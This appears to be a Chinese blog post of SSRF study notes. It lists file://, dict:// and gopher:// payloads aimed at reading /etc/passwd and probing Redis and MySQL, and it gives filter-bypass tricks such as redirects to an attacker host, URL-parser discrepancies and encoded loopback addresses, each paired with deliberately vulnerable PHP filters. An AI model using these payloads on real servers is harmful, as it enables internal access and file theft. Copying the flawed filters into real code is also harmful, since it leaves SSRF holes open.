SSRF 服务端请求伪造

1.PHP伪协议

http

探测内网网站、获取真实IP

file

读取文件,file:///etc/passwd

dict

探测 banner信息

Redis,dict://127.0.0.1:6379/info

MySQL,dict://127.0.0.1:3306/

gopher

控制请求方式进行请求

gopher://127.0.0.1:6379/_POST%20/index.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%206%0d%0a%0d%0ax=SSRF%0d%0a

要二次URL编码

gopher://127.0.0.1:6379/_POST%2520%2findex.php%2520HTTP%2f1.1%250d%250aHost%3A%2520127.0.0.1%250d%250aContent-Type%3A%2520application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%25206%250d%250a%250d%250ax%3DSSRF%250d%250a

Gopherus

gopher协议工具,GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

2.绕过

协议头限制

重定向

<?php
// ?1=http://hacker/index.php
// ?1=http://hacker/index.html
// ?1=http://hacker/index.js
$url = $_GET[1];

$array = parse_url($url); // 将URL解析到数组
var_dump($array);

if ($array['scheme'] != 'dict') {
    $ch = curl_init($url); // 初始化会话
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 自动重定向
    echo curl_exec($ch); // 执行会话
    curl_close($ch); // 关闭会话
}

index.php

<?php  header("Location: dict://127.0.0.1:3306");?>

index.html / index.js

<script>window.location.replace('http://192.168.1.143:9999');</script>

目录穿越

所有文件包含函数会将不认识的协议头当作文件

<?php
// ?1=httpx://../../../../etc/passwd
$url = $_GET[1];

if (preg_match('/^http/', $url)) {
    readfile($url);
}

域名限制

parse_url 和 curl 的差异

parse_url 获取后面的域名,curl 获取前面的域名:端口

<?php
// ?1=http://@127.0.0.1:80@user.com/admin.php,端口要写,PHP<7.1
// ?1=http://user.com@127.0.0.1:80@user.com/admin.php,端口要写,PHP<7.1
$url = $_GET[1];

$array = parse_url($url); // 将URL解析到数组
var_dump($array);

if ($array['host'] == 'user.com') {
    $ch = curl_init($url); // 初始化会话
    echo curl_exec($ch); // 执行会话
    curl_close($ch); // 关闭会话
}

curl 特性

curl 获取后面的域名

<?php
// ?1=http://user.com@internal/admin.php
$url = $_GET[1];

preg_match_all('/[^\/]+/', $url, $array);
var_dump($array);

if ($array[1] != 'internal') {
    $ch = curl_init($url); // 初始化会话
    echo curl_exec($ch); // 执行会话
    curl_close($ch); // 关闭会话
}

parse_url 的 path 特性

用 http:/ 时,域名到 path 里了

<?php
// ?1=http:/internal/admin.php
$url = $_GET[1];

$array = parse_url($url); // 将URL解析到数组
var_dump($array);

if ($array['scheme'] == 'http' && $array['host'] != 'internal') {
    $ch = curl_init($url); // 初始化会话
    echo curl_exec($ch); // 执行会话
    curl_close($ch); // 关闭会话
}

重定向

IP限制

<?php
// 等效IP
// ?1=http://localhost/admin.php
// ?1=http://0x7f.0.0.1/admin.php,16进制
// ?1=http://0177.0.0.1/admin.php,8进制
// ?1=http://2130706433/admin.php,7f000001转10进制
// ?1=http://127.00.00.01/admin.php
// ?1=http://127.1/admin.php
// ?1=http://127。0。0。1/admin.php
// ?1=http://①②⑦.⓪.⓪.①/admin.php
// ?1=http://0/admin.php
// ?1=http://0.0.0.0/admin.php
// ?1=http://[::]:80/admin.php
// ?1=http://[0:0:0:0:ffff:127.0.0.1]/admin.php
// ?1=http://sudo.cc/admin.php
$url = $_GET[1];

$array = parse_url($url); // 将URL解析到数组
var_dump($array);

if ($array['host'] != '127.0.0.1') {
    $ch = curl_init($url); // 初始化会话
    echo curl_exec($ch); // 执行会话
    curl_close($ch); // 关闭会话
}

同域名限制

重定向

端口限制

parse_url 和 文件包含函数 的差异

parse_url 获取后面的端口,所有文件包含函数都是获取前面的端口

<?php
// ?1=http://127.0.0.1:7777:80/admin.php
$url = $_GET[1];

$array = parse_url($url); // 将URL解析到数组
var_dump($array);

if ($array['port'] == '80') {
    readfile($url);
}

重定向

posted @ 2023-04-22 13:19  Hacker&Cat  阅读(81)  评论(0编辑  收藏  举报